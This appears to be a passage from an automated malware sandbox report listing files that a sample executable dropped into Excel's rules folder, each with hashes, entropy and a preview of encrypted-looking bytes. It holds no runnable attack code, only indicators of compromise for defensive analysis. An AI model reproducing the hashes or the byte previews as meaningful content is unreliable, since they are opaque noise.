Preview:	<?xml......T..d')..m(..EG..\|.A.P4..Pe.[?.-8.>....e.(..._..@.....~.A..G.B.-d........kV.%...&.Z.c...(A...}.=..({....l..).m...h...\|.0 {`.0.g.w~.N...?#.......N.R.F.~.>{_3.....U..S./-k^.~3..au..L....s....-.o...'...p...m.....%..1x......C...=ln..R........ '...".>....$.od.>..3...X}k...=....}$...Ol..R..{....+^...i...@..../...;......aL.T...../.E./D..=.\|....{......xDob....9..\&x&....u..\|,I.i.!....M0/.,?..D.Z.s.y......4.!/....qP.EZ...zq.N.wOGK1.....Ba...KH.vV>S..M..7[&pQ...._..2.....K`.j..p.....0.}rX.P...%.....D.2pzs..u.....qF.7.....mL.7....u#..c.xtHA...f..........Sj...U.OiN......l.H......&.T..=.9\K..7...\|....0,=.V..y.).e...n.@.K$1p..M..w...o?}<s..r.O.{p^d.....LOk....A.9......P.D/.:.G.c1..2........>..mn.<..P..E.j...B.W....\|.......+...4.P&..Y..V......z.rD..@.....^....,.&....<.C>I.x;.5.Bi\..O.K..X........98.c..,..h(;'..N.~gVS.m(...g...ty..jDC.s~........!\|QnR....Gf.....'.=.5..yH9hi3...."!....`..D.4.C..d...<..B_\|#.U...<.?.6......j.Y..%)3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.892665183154667
Encrypted:	false
SSDEEP:	48:WGD94lILDiS4LxbJ7PqWRk4PhOmnMF0SuaVJD:WGhLLkL7C48T0GP
MD5:	9009A5DCB79528C32E3589647B13A196
SHA1:	1EE178FDC3BBE9F6619F854629BFD0540B1361A5
SHA-256:	915F231AE3897C1395392FF278B4B12335C8229CC47B23905F30E45F15B50EE2
SHA-512:	837BED8879AD38C06288446B97E68988A69B032D16B62271D09526930B5B40D6C0CB7D4E3680097DE73AC154958B4930E7654A60257C67048A39C03CC04A79E2
Malicious:	false
Preview:	<?xml%q....a..e...B..I..n....k.......Y.D..3...U.#.h.@`.^..x......QS..e.?...{m.;..s..A...-]...3..~\..............a+..R#......K...u...Y`.!.+.... f..J.[.4..C..8I...'>......%r.../..YF..J=C.....m..E.....Z..X....F....@..k."_.c.q..[.@..DE...4..9..AF....~ ....sl....n8H.p....0......;..N.M..~DKH...P.[..7H...........@..!..;P.OG...o..;........V...dX.f.E:M..<U..^.I....a.n.[......{......t....j.......u.P+..\|....o.T2fiz9GiE..0X?t...d.D.>...V.[..H.o9os.....\|%L..dX.K-.>D.hXoJ..me.'.&.!..W.T..!.b...HH\.P.....T..".g0!.[#...A....L........ZyP.#.\..N.;.9]>.;..UW..qs.O_2.Z"...\|......<...8R.g...-.hJw....W...>~Ak..7.:...x...-W....N.."..(B..o.(...6.}.J..R...b....a..Ghj....N.y=>.5..."X.m.J.S.R... .f......2...Q.h..P.S..~:..R..mcj...U7..K...A.Kton.V...p\|........ .`./XL.].O...H......]...........@..-.../.*.....,...t...3h....0.2..:...."......7.2.......qp.AI.....?...)......V.....I....~......P^0;.6s..M....rk.....i..Us.f?}.x.e.n...L..U..p............f..y!.UK....J&..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.6971658953637485
Encrypted:	false
SSDEEP:	24:L/eWXKNLOGjE0zDD54wZFeRfTyMmcV9pbD:beeCOGjjaQeNTvmcPJD
MD5:	F16CB4EBFE64006037B37B72DC75C1D5
SHA1:	8FF972634EBCC0A2A5C6779D5C8212EAF808921C
SHA-256:	7E08DB727DDC2323A164AE64EFB6C4B8024AB027C766780881C2E05261F27258
SHA-512:	28BAB3B1D2986D75482A8190E46C1F44C8CD5F0717F443589103CB2227B61E2A9A395E50CB49100CF7F67BC0D9E883FB41B3E959DD26D5C9DAAF1B2BB8D1DBC6
Malicious:	false
Preview:	<?xml...?.HM.....-XSI._..].)v.....1....x.`-..~....x...CJ8....}2.....R/..P.VIuh..T...N.Mp..9....0.J..C..K.k....'H....>%.U;.g%P/.\.~....._.&..$...P..k..D\|S...E.@.18.....t8...b.]l...K,u..(.v...S.-.....t....bW........=3O......t.k(a.x.b..;OZ.k_..^...!.'C...v.P......Q.1.c.....]....>..(.k..`.(...[.B.&..0........&.O.o&?&.)2a..?.L..A).c.d_.Q_g.......A..BW$.a.n...deK^..pIu....v..A.........3,.-'.#.z0.W.d.PI.}.eC.%..0.}.l5I...=.....wc.d.......]..%.&...T.."B.Z#C.+..^F..........&...J..P...Y.7>..".HJ...!0..k.C+q.).+.s...\|Xv....CE.T....fu.#.O.52._...b!.......V$c..!w..7..nS.f`..cp....Q.@..5.*?vHFNd..'.O\..i..W_!...K.HL...J........q..2....4.f.xvu....8e....s....3....t.S.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.749490233165621
Encrypted:	false
SSDEEP:	12:bymfc9GhbDQ4rdq8WuyOUU1W/k6hRStur2cmV46zELfjCiIMgC9M2cii9a:bLfcqJrdRt6UiVr/r2XV4WE7jB7h9pbD
MD5:	CEFDF1B7EF153C444B8C79855E7D02DD
SHA1:	CC99967D3D9CDB70B388FAB6DF05363EB614BE3E
SHA-256:	1F17B0659AAD049B69954B40E08AC28BED539DCAEAA669AB9EBC152C165C04DF
SHA-512:	489553583B6EAB0CE3E9238137DA2E89232CBBD4B8D8D2258F9E4EE6089EBC0279053C7E58A626CB61DA503D8F2030EDD6D3BC0DC55A55E315A581336B5913F6
Malicious:	false
Preview:	<?xml..PZ,-~o...D.M.k..3.........y..(S....wV~4..j..~.Q...&.V........!............O...g.~....N....\....<.~.....+..z.\|.My..p....LZ.=.[..Fn...._...{u......?Se"t%p..]..B...J...;...g.`_`.....:...peK&\.hZ..U..@.D.x3L-.(p.\|E...obW.........c.....u.....lF#.E.........qp....#C.[*..)...p........)=.7.....UA\|..KX..3..8..:.S....L.4{.R@RaA.'Y...P..DG@.......~...V....W...p..k.x...g..eE.;....>RO.n$A+....G.\|.W. t.....]....[..j.3O}j.p....~..W...Q'..).9B7.>....xwz.eQv..mCh..6W.H.Z.~.>..+<.....5..L...l.fog"i....]...K.....T...../....&v.s/w..A...p...m.O...}B......,..c1.t.......'w..7_c..q..k...,.....J....bB.L.-...{....O~..X.,+RL.p..Hu.....n..$I....E..s{...&.B.<.!;1=tS[.6.'.F.yxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8894619750044415
Encrypted:	false
SSDEEP:	48:bd+B1oAHbrz6wVrs0SDUCLbyK8aP0yk0i+Ej9PJD:bi1TbrmwVrsRD1D8gU9J
MD5:	374F4F3497C2B4139FF7A962269895D7
SHA1:	4C77B433D74E0152A19AF2129B372485E9BACFD8
SHA-256:	61C5919C77698A0C44DAC3ED40836C3A12383E9D701BF69267C7739D0192747B
SHA-512:	70CCFD7643AC2A62633770DB6DCF8E1347CB79102CEF344B4FCCB7B067599279A6100C4E23B1668EE60BB54FBB8A47725AC5FF47C7C617E5C69DECA4A90E6A3E
Malicious:	false
Preview:	<?xml..V...........B.K......Y.Y..Q..;....3.`vj....e....{.+x[%...... ....-.......w.......#N.x..... ...L.`.d..%>....>.w....{$...p.^i<n.rJ~.0,...(j.ho....q..... .......di5....t...e.....@..8}..qA.m_F......4E....>.<.i..e&.F....d..0F.5..[./.[..3d.....kB.9....KQ(2.A...#~.r.....:P..@.......DN.R.......?.y../...DS@.?7p.$%..e......22F... M`O...R.2}:..__...07..2..1..\|....@,".......9.N..Kh.=../...(.o.}.k....0n3 .R.!u...[`..5E.+...o?.E.".&....Ju.H.j...\|..)8.J.h\|.p..7..mSd..B..i...ZC....HX.L.P.lv..O..W......n; P.t.p..Z.......G\.1......8....d.?1.(,.[.....pl..-.Bc..Y.x^o.S.....E5..f..[...l...[...._....E.9.}h.M.K.6.]j\<..>.C.U....>}.D$Y.\|..XAq.]u&.G.-5..b~5.p.W....\|rG.%.......F....3 .N[......8.....a..T"z".:\.F..3....W.]DW.L.w.b.f.V.k.h.....HG~..e.m.O8...D.RN....tz\|.\|...eO.`.o@.S.f&.....+./.9...H...i8....V....?\....B.$!U....:..:....M.+m..;1..oF(....$.z..(.._.Q.((.SX........k......c..Qx.........6.U.#_..%....O'%........;..c..~.........g...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.880571626507066
Encrypted:	false
SSDEEP:	24:FlNc1fHuZ9tuviPICfg2EO/XCk99DswTL7q2htR4gqUyhVq3H96XpF9pbD:Fvc9OJuqAEEO/b3uEMKsp/JD
MD5:	F451B4C2F375E19AAE38FD1169A4D423
SHA1:	D747B6DED5CBADB9A3BE8370357193D3644491FB
SHA-256:	5D6B25F2BD9051FA2CA1E5FEDC321F142CEFEF3ED7B3CFA99140B54AD4939EC1
SHA-512:	8AED0535D7CA79B893FD575BA6A4CF3DE0532F3620E560AD2ADB76233AB93FCC5808B181FE2185AA6FD3722C593ED6F8C32BC9796FDEF32E7426CD1774EC67CC
Malicious:	false
Preview:	<?xml.U..[...2 q2.Z..q...`/x5.."B...H/_......h....PRSO.Z..9.(..L.K...rw.....0.+`..a.K..M1...T>3`!:.r...%..y7.I@t..s.........A]..f.F..c...~....Z`...'..Q....o....ov..%2C.(.=(~......D...p..{+I...v......k ..of.2L..H..%o.A.........l..R.H...<.m.#...P.o...E7.r..!..\.%'.!.aX..m._A.?z..h.l.g .0.....,?T{..mf....h...6.....Bq.M...K1...l.].....(\|..0z..4.h.....g=...[E.C..".4f..a..,......p$.p.. 1.".....^...Y......t...C.+...9r.1~...J....d^.......".......N.+.N-.....!AB.j.Y..;f.j.b.y7exL......WkR.0.....I...F......z..2.Q]....&Z..U._....h......B....,.{."..u....%%.P..H.......d..<.E_.4 &:.. .$l.k.o.x.A.BX.$L....&..2Y..Q.C.D.#..C......:2....8....&..K.6E...-.%m..@m...I.`K.0/. ]HC,'s......9X2m..v+..^..".... E}....m......~.y...".s.E.v.4../.v.W...1..]h.i..B.V...A.KB..1Ia....c....K.'...CN..R@.m[~.o...U~[S...;9YU..{K...3L\|0......)u..p..5.?.b..)......8.T.O..tb..[`T^.......'.9..?_O....h?_.. ..7.......3...g...T.....oG......../=..). .J^.I....`..\|..f.%.En.V.\|dG=t3..eD.. .]8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.688544457678134
Encrypted:	false
SSDEEP:	12:LFJ5uhyhMkJSUAEd5LB7jOZYV+2CGjBLwoNUK44ez6T2MhZc70ZYSEMRs9M2ciik:RJMIaXUAEd5tyZYV+ULPiz6T9Zc7dSOX
MD5:	847E9E7314146F3F06083734B44BE8B6
SHA1:	B6DF2B1FB3B478FC46582E19D118EA9CC9B9D0D1
SHA-256:	2BAAFD59BE25D0A648C110EFAD455A4B5538FA7A1C2CB01D22EFD0A95222AEA5
SHA-512:	B70EBE49734992D767D026E08AEA83571FA9A1143C0BB33AB3B74B3EA42B3A5C108A3E472013D4D10ADCCAB1AC6A59F709627108843FEB286477E2984CC6E5D1
Malicious:	false
Preview:	<?xml.`.2s.........B....R9)..".....T..m...i.L..!..z....6.....R...\|.g.._0....Ll....25.\|...yT.........)R..L..{..)Q...U..\.f70.z'.oJ.xXe1.,..9..i.2....3....9.T.........(7J...,..F).u...$p$.Bz...EXOH.p..$.....!&..jNw..{b..>...O!S...TaW...~.).X.n.y.V.V..P.b...y&.K..b/vS-rg.....\|<8?......h...\..E....Fkh.B........T.!...<.....t.......G.'.v.LI.j..W.1W.g..Q..T!q..../4......@...k.O.".@.#n..../}O......`*NfZE.nH.....K1....bl.......D..y3.8..e..g.h.....S`..Y.B.0..fD0.q.U..[0...fhc;D......D.+...H.VR...rX..-.... 0.... _q...H..).x..x......b.)...3C\|.\|..b_.t..q..K...]1g..P.Q.).....rA2p)l..S.Y..x....d.\..:..?....3.&..v.?.Bo.]._..A..w.....'%....l.cxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.706311809736285
Encrypted:	false
SSDEEP:	12:LAt1UwAIhnWY15aFsCniumT11rqfxRNPdyDxT3xxLhE8/A8sxQs85G49M2cii9a:8DUd+5NCihXreR1duThxR/A8sCd9pbD
MD5:	21F0BC0E8CC9938B143A9F68FA62FBB0
SHA1:	8C4117A13697648147B4FF7C238CCEBB29DA22C9
SHA-256:	5E2A9DA2AE40F7B9BBB33E506FDFE9D3D58F1F21CB502CDA6CBC4A44CF764B64
SHA-512:	E982037F3E55F1272664FC857344250E14847DFCC9865E383643E4BAEC144BCCDE57928B1D9C0AC1EDF9091D79569902E6DE5FB60DF4C5917D4F87FA94C1A215
Malicious:	false
Preview:	<?xml.\...?.~...M....6..@\...3o.......P-.i...J.\.g F..E....n{.m....6.O...[n.......7c.ZK....L.V\|(g.fy....Obx..q..'..._..[../.`.M..'I%7.......:.O..v*O.0.........`fx. de..k.5m....KM.C.....}l....@.XL..g.t..No.;cY.g."..p..h.?..v.....g.IX.....W...o...`UL...w.........^t.%C..t..)]........!iE.A>...p!.....x.#v).......O.$5..P.\m..%...J.a:U\.p+.zP.......a.K.kO.....y...........3e=......c&. ...I...R.l.\|...OWzY.....X..D.3n.y.J.c.......G....`o..h.;%..4....`.1..#.70.cIV..;.1!Z#..gj.4.&..\.PZ.b....Y.A>.3Z.%iw_.$.e<ax.w....2....L._a9.ip Q+;m.+....+mBN.[....y9k..8.-.#..u.9.4W.....J...Q..3..jo..s....\..j....`.f1..@.B~...s+..0....nzg....r/..z.K.t.L..>...a..d.....#.X).@9TpxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.880492686116315
Encrypted:	false
SSDEEP:	48:gVcsxQ2tTqgxFJT1hIQa/kDzPI9bxpIAIJD:gpQ2tDX1OQlPCbxpIL
MD5:	5A1BBC993112D762293706506D480DD0
SHA1:	B5D6C4FDFBB94B4A5EFFF091387D72A6B7979595
SHA-256:	128B8231826225E8221F814C826B7D74AA00216054EF2D517FDBA945696D8BF5
SHA-512:	AA14D01D67093DA478C409A00A77B4882FD3E00319DC5B2F2EFCAF8BBDBBB2AC89E87CB1C337595F09986F577EB906B002D36AEE03F7D14099988BB88B5EC954
Malicious:	false
Preview:	<?xmld....~a.T.F...0..H.8..).q....2...".3.e...jFKO..cC`.k...R._._'../t=.G.u.5.........K..M8+.?j[=...35..w...q.2 M6.-..<..b...g.....m....2.."'.&.S.....+$...{.N....=...d..@.r.X.=`qV....)V.!#y.....&........R.52....Q.&r1.1...n...E.C `.;. .Gh..bL.H{]...."3..7n.3.h\/,y..W....[..........s...g..s~d}..I6)b..7.9.TWxm.m.......@.q..t...~.m....@..~4....~.(...[....%I...a.n...W..;U[.XD.,0..U....s..6...z.:.x..u.......!.....G..Kc..=..m.7.$..3..m..(..`T...r@.....4.\...#T.V.R...n#.C.`L..IO7. .(b.....o.......^..2....h."#:<..`...R.6...}W1p.VCr.....y-.O.a.3y....8m..]..t..F...cV....=Er\...C.....&.'4Jx~N...GBN...&yC.g&9...=.5.0"......9....I..QA...E..xD.o#Be./._r..u....=.Q.\_...]..C......1....6;H]..e.K..Y..\|.b(.Q.T...N.p....-.H......vX>.j^..6.[(.....0....K...?'v..c5}I.g.~.@F.1\.&......9.Eh..U....}%9.......~.......k)......+%wT.<..[..>.<S1.....rxR..wXT....5..~;\|.P.p.....Z.....G........n!8..c.}Y.....#.p.....&.w.k5...a...;..`.$N....a..^..-]...[.!.....g}...'.Ty{r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.90495624050497
Encrypted:	false
SSDEEP:	48:eTmA+75IT+RTv15J3QVN8em3TOTOt/H+VcJD:eCAk5IT+RTvpAVNADOTOWG
MD5:	480D742D3BD0DF0A8164E2A13FC3331F
SHA1:	B51EE01C675C7F5165FCB6386D5CB4CA4B71EC84
SHA-256:	A51D62165254E17412D9726243FD9AC31D1789F9E8826099E747E8943A0E4924
SHA-512:	0920B494BB2984986E7CA7F80B1DA8DD58229742F905168535A2707802EAF496E4AAB40FB1EEA4CF7E9E3DF7F308F91293C893BBFAC2B5FF33317D0220F08058
Malicious:	false
Preview:	<?xml.....k..+C.~?vj..P].).9..".....@K.........8..Q.#.u...l....V.a.."s[.m. l..\|..[.>..#..b./\g..p>...-..D.llz..qu..Q..\|.>.N..h.z...2..7LN.....b..!.......w..bS......C..y..P...C._._..X.+...g..4bgdW...;9..<$AU3.+.....a..+.....U.......,Z.J.....f.....rQS..6..e.;.ex.pq..h../....~.....pp.3..;.d.e.\|...........i#.@.....'.....'N .......\z5....I...%..T..&c4..8.N.l.....Qx.>M.n._+.....A....G....G_..............v.<.....lm..Z%. hG.../\.^-p.A........D..'..].,...."...G....D.f.".\|..C..../..=(J.V.....Z..=C...w.^..a.....N.fxLc.........2.L.......N.=d@4...3M...Pi.X.9w.J=..c"w.+..`..w?....@..A.;.;:.W......9>....Ir.<#...Y.P..4....%.r.........7...".....iT.....E._#..j.....Q.,..<Q.P....... ..b.t..h,P$...(4.T..oRD........;4..o..U(.TrO..o.O...%.J.^....]g..\|#..c..}...O.]..z.1..3.?l.TR.l,.........i.r..%#..k.~ir.R.?&Q..B./..J..{..r...>]..yqQ'..o<.\...^.........e.*.U.x..... U....lx.....1..........z.$......[.....Q.3)t....~..wo..m&.......j.i...A.Iy.:../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.880766300458623
Encrypted:	false
SSDEEP:	48:905TG0z6ykZOzaxY+LcXc1G8T6wu05Zv8YLNJD:9YTFz6y+OzaxLcXkG8GlkvLn
MD5:	EED19F3C5EECC70CC54EB8010AD8E0BE
SHA1:	ADAF14702A623F0E72F88A0F52859FE67C9D78E1
SHA-256:	038D73545E1F6C79F34A093C4929B9E06DA58C72B3398337B97043B23B11CD05
SHA-512:	C7426C7D285658DBF0759808971278131CE0524840209FC9481AC1CFF9797BF244EEB1FFA2B96DCECA87A2BC0A8B91F2B2464D81938B074EC5B1E5ECE66DD62A
Malicious:	false
Preview:	<?xml.1.. ..o..1C..?......2?:..f...y.g..-.E..D.o...8;...! {.).nh....#..pV.v]...._..z....H.:..[..68...r..u(95.<b...zr%.C4..i.\|[.\|........d]....~.K.<.=..fe...TU.$...v..n,\|..m....\|oo1......@.$w.'..KiZ...%dU..2..U.<J.5)....m..,>.TKl#..#.N.......2.J....2.{J......D..B.9Ar0..h...%G.cv`...b..z.Pu.>r.JG..%. .`.0..$\.]..J4.....7.k.....#...Er..}.i.e(.a?q../....0+e.".qW_.gv.t..8$..\h....u..h]$.A...c...5..#;,.JA.2...e6.f..4....3....?1c\|d.._h.)....K1.C?........+...pAZ......E..x..G.. U./o..r.A_....t.<Lo.oj....A...8U.@.D.<.\|...Z.k..({(<.......'!,..a.>JB).....9F&..g.z.X..~......\|...K.....FV.Y.2.".b.&.I.\aQ7....i}{(=.f,.(.T..a...\.. T.5.1a....X....?6.n........."k........H.~gL....-..HPLI,L.wI@.&.q...3....b.D.....E....J'P..u...j%...C....J=...u....Bs.dYq./.0..'r..b......AY..I#....EU.....#cQ.t..r)+..g...FsV{....y...hL.F.Op..z.........`.=..EP..@.O.N.m.f.....M%..<.......i..C.d..4y...[8n^..`f..t.x.^..X...0..'..MR..e.a..^yTE....]...x1Y.F..hy.V...H..>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.893745771544967
Encrypted:	false
SSDEEP:	48:N8gQLJrPoLoBch3F2GZ9N0vETVKfDlB2GMAcJD:N8XFchLtKfDlB2GK
MD5:	34F6D7D5460544C2D31C48B17F6600AB
SHA1:	E93ACE01598FB1FEBF9BBF2ADD15219E8FDFF06B
SHA-256:	D83BA9993189A4BB0AEE8B5E3ADB1E5EB5715A90E403EF95FEA25626A3ACCBC2
SHA-512:	F9029E1183EA8CFDFD358A2742D9B85DA2A9D3C72B67F29E7A50200D2A7B4C96E1DFED29B3DB3F4E15A6AE35051609B564459D971DC34F013EB5C1B6DA200526
Malicious:	false
Preview:	<?xml..7....7c$.U\+l...e<.a....J.M.m..p.&........E&G..I..5.q.{.\|.>M3..,...8.\|. ....X.r\|....XNW..\|..u...-..f..\|..P..[z.:.uY:..`(.J......_.;.....4P......M.J+.g......D5....<...P..... .9"t....0{....r..O.R...k...z.{j...%h.3.+b.....K.x......"%......J..VJ......s..b..Lg.b............."...>`..,...V&$\|.\|....ab...9x/.?.Z....d...j..}M.....\|.:...W..Q.$w.(.....>..X#IY.oW.=..O..Q.......GC...n..w..H1.v.j'l...Y[..._K.....v....5...@.'....."..K\.L~...\.Lu4QC.O..'.......6...d.%P6]9...'"'dw...N_.~..K.At..&+..nu./z..N.f.8}6l_A.....AEO'j.....F.."d..3...@.1....q..\|\.."....v..f..K.jh....Pww.4.&..p..9...hq.`S..L.....L..L.vOK...Z..4.....J..p\|..9GN.t..d.~..jQ.@...S6.......s....~gv.p....'U..\|\|.."....K.3..2N...DZY-Q\|8..V7....d........bP.....).....s.q8 F...@V.}...'.L.#..:...K.{...PR...3v.;.R......$1.)...u..&................=h.......&...d.....y...@u.s0.b.a5.4...S.....n...xV].*.Rz\|.l.;.eo....drW..].^.4...]..0........7..=..9.(..Pe.=@.z...-WRG...d.0.:tc..?.C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.8804095027886065
Encrypted:	false
SSDEEP:	48:CPZ/+P1lnS+AdpTPXkTbJisaaeokd0E0oymPOnXJD:CPZ/+dNS+epP0T1isAokhxyQ+R
MD5:	B511A6A8B40C8E04BB922FD5DDFA228C
SHA1:	9EBC3C118B102414513B9CC6F1D5898B6B9DFE02
SHA-256:	6AEF391112F791DCA12E067CFA906DD4D7E322E86BD15B49F58A134ABA948505
SHA-512:	3E6BFE1BEDB2884848C1385660EAE648FDDD6656FAF539DD8A8051D078E3BCA82C005CA03C847B0FCC84D2ED19DE6EBB32678533E7C387A8A0E24813DC71A2B0
Malicious:	false
Preview:	<?xml...#.1;oa.&fN,}......\..@...4..$..yp5.......J...B~...h,. ...-...jE.+...[id.....Y.r.s3....I...yt...]..\|.]." .-UM.A..0..Rb.....8Q....G....g....C.\|.....)K..~............n.....A.z.f.e.gc.....0..".e..QNRS..........fJ\....z..@.L.f.3.G.......'.......pB..].~6O...h';..~.e.......".4..!J.o..@.U.......I...RS....Nnz...I@.}rY....g5..I....#.....Z1..D.\|^..`5.g..:.W...5..9.:....j....".......r..]...)X..{c..9..w.e..~.I....l.6........$....0.+.:.....2..P.CN. kw"...E..<..E.....].....Q..........>..3..".......U.<bl6...#:.J{U{o.._..:.;]......4.@0.G....(+..".....8.b>.N.>G.p...5..\|!?Aa.!3.T{.]X.....H\|..+....8vH-.Y......)...a.&..7...+..s..C..}c{.`.7...@..N..7....Z..dk...^....~N..X...Hz(;.b....g[dD...X.c.......UB.f..P.m.i_.V6T$....3.._9.K.7..ci....6v.'.......h..j..]Vp.jcw.m6.6F.W9Jy..8....h,..QI..2!T...6.w.`_3t.w..~C...^.....U.(./.......)...n...............B.'d.......oz.Vg...o 3.Z].~x....A.g..2......4;.....z..]U.0......g.c.(.{+..~....Q+...2.......~...N.I.ch4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.9028040559339265
Encrypted:	false
SSDEEP:	48:Hb2KzF9oJT3sOxs2FdCT1BbaIS9FtmkT9JD:Hb2zs2TDB
MD5:	DF1B45759BC5B59641DC6929FD92DAB8
SHA1:	F556EC26452B331A9382B83BD1D76DE65644505C
SHA-256:	EF05458A5F0E90FBC186A4C1D562D05A7BF31F3716623858345C43BBB3E7B03C
SHA-512:	1FBED94B0D7EA4D456E2BB34CC070F11D134EFEDC45B74E5EC60DA3112328B458CA1126E7B7EB73DCD47EA2B249A2D923228A94BA424A1992A89C57467EF1528
Malicious:	false
Preview:	<?xml.f.....g...C..q.,.Iuv^...%.S.....E1.}K_..3.\|....3.4l.....D..{)..[...U....Q.....{.6n..4/.....Al>..xA.M.4.)7........<."..2s...X@jGa4. ......;...i..c.e.`-Q..1.B.+...I...I+......&....Z(....[0..U"g......yEd...ve....H-...N..F..y"_.T.....f....Yv,..X.R.Gp...1./...^.A...4d#..4.d..&p..PE.%.uH..F..s\|.\_W)..F.h..V...W..O...m.(......a.f.....N.n.C......x.....Sc..x:....F...@B...M....+T.N.F...R.7r.V...E.<ty.8...Xhp...........).DPS...=.y.z. ...:.6Yig.H..3..J...-UE.hSa4".V]uB.....Y....pAw....0...><..j.J.d..CJ(.1......d}.v.H.+.z......vV7.[....&.zM.....~..8F....J....!...I.r5..r....d#......l]v...4.\|....v...#.H/....>.".2c.'..'.#q.W..].x.6...1..]...-.r.,...%......Z........T...".^<."......<.......U..?Q.Q5c<L.\..O+...k.{..?....=.....o.NR8.Cer...... ..\|1.J..".\|9g]#.Rt>,....._...-u.....!.......t...g....l..C@..jg. ..d8.c.2..YTR..^.S..uf%.D4O._.e.hR......'..LS...p{......-n..P.........R,DY...D[.s.3..U.....9).Sm..yS...a[2.(.g..B.....Z}-.{.rM.@Ql.$K.n.Wg).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.893925607620685
Encrypted:	false
SSDEEP:	24:RKaqygwW8EVSHoYSaUxSDJiJsM0sza/w1vQmFY4XK8F1DYJx1hRa0+8x1nad312l:RKak/1SHoYSPEDHhohQufKUYJpHikTJD
MD5:	3CA7F2EA9B5E2DA9EF237F56DB64367E
SHA1:	C66F3C6102308FB47BC1F9C74CD19FFD4CA5DDDB
SHA-256:	91324506C053EC2BABAE08F0E95D4BE06D90E1A607505C2D4437773937A43C48
SHA-512:	30E3662F9D59E97919572786656BC196D8B4B2B671FE107CE4681849D679727BBFA6CC9CFC73D89E5D12176D5548A60D1F194FC1A4FACDA64512231FEE5D2C89
Malicious:	false
Preview:	<?xml..e.[..u.3..].GJ.t._....?#.n...}....'_.........SNP.O.'.J......I%`..+.>.....4....Bt..a..bS.8.........[.N.e...;..%.6....B.S...S........z[...1\....%.....FO.8Q.G.dr..NJ....fO..._X.p.1.<.o..........(..........H...!......2.$#.......z...6...;r...\|...z...v./..9bT..5.u...r.)..Z}.R.]...%{.K.c4q}.k..hM..e.+.C.:...X.%.&i.{..&..2..!U.=Nl$.H..n.j..jr...n....}>.0...Z/..op..../...Fl....1=..k..."..M.D.3.....t..}.....(.....b..._....{....rFcBR..L..&{.'e..bf}t..g$(.U..$...`.p.'.....c....n..Q..;..&Q.^(.t...+......^....[.............\|)..n..B.c.A#....).2/..?@..B.v..\|p......o`....&.&....N...S...'..]'@z..Z.........t..@...J..Y3dQ..0.Y.zs./^.X5mi.S......q.M.3!%.j9h.g..A..A..M\.N....w..DT....1.J....:=...e.+.0p?6..z6.`X.g.....#.s.Z>...F...u.d...j......kO^........9./n..6.<}.9..:0.v...._..vX........@.T.[2...o.... Q;)zH.a.f.....EXe.jn..u...e.6..Ym....>d.{...w<.8.k-.pEx..k...\|.......[&...,......#}.%....{.c~..w.."..*..\...^.....)$.\|..].........N.Q../._...eA.~a...(.u.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
